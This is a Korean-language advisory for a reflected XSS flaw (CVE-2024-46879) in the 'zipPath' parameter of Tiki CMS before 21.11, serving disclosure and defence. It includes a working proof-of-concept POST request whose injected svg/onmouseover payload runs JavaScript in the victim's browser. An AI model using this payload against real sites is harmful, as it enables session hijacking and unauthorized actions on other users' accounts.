
CVE-2024-46879 - Tiki CMS 반사형 크로스 사이트 스크립팅(XSS) 취약점
Tiki CMS - 'zipPath' 매개변수 반사형 크로스 사이트 스크립팅(XSS) 취약점
교육, 연구 및 방어 목적으로만 사용해야 합니다. 허가 없이 시스템에 무단으로 사용하는 것은 불법입니다.
Tiki 버전 21.11 이전의 tiki-admin_system.php에 있는 POST 요청 데이터 zipPath에 반사형 XSS 취약점이 존재합니다. 이 취약점으로 인해 공격자가 조작된 페이로드를 통해 임의의 JavaScript 코드를 실행할 수 있으며, 이로 인해 민감한 정보에 접근하거나 허가되지 않은 작업을 수행할 수 있습니다.
이 취약점은 tiki-admin_system.php의 zipPath 매개변수에 대한 부적절한 입력 검증으로 인해 발생합니다. 사용자가 제공한 입력이 충분한 인코딩 없이 HTTP 응답에 반영되어, 주입된 JavaScript가 실행될 수 있습니다.
인증된 공격자가 조작된 요청을 통해 다른 사용자의 브라우저에서 임의의 JavaScript를 실행할 수 있으며, 이로 인해 세션 하이재킹이나 허가되지 않은 작업이 발생할 수 있습니다.
POST /tiki-admin_system.php HTTP/1.1
Referer: http://127.0.0.1:9080/
Cookie: wiki_plugin_edit_view=true; tabs=%40tabs_wikipages%3A2%40admin_look%3A2%40admin_general%3A3; show_details=n; preview=%40preview_diff_style%3A; local_tz=Asia%2FCalcutta; javascript_enabled=y; PHPSESSID=120ab2736ae548eda9efcd2c862ac76c; PHPSESSIDCV=JHSjEwiO2tLPDG5yIJ2DQw%3D%3D
Host: 127.0.0.1:9080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Safari/605.1.15
Accept: */*
Content-Length: 94
Content-Type: application/x-www-form-urlencoded
zipPath=%22'%3E<div%20on<svg/onmouseover="alert(document.domain)">Coldfx</div>"%20/%3E&zip=1

이 문제는 Tiki CMS Groupware 버전 21.11에서 해결되었습니다. 사용자는 이 버전이나 이후 패치 릴리스로 업그레이드하는 것이 좋습니다.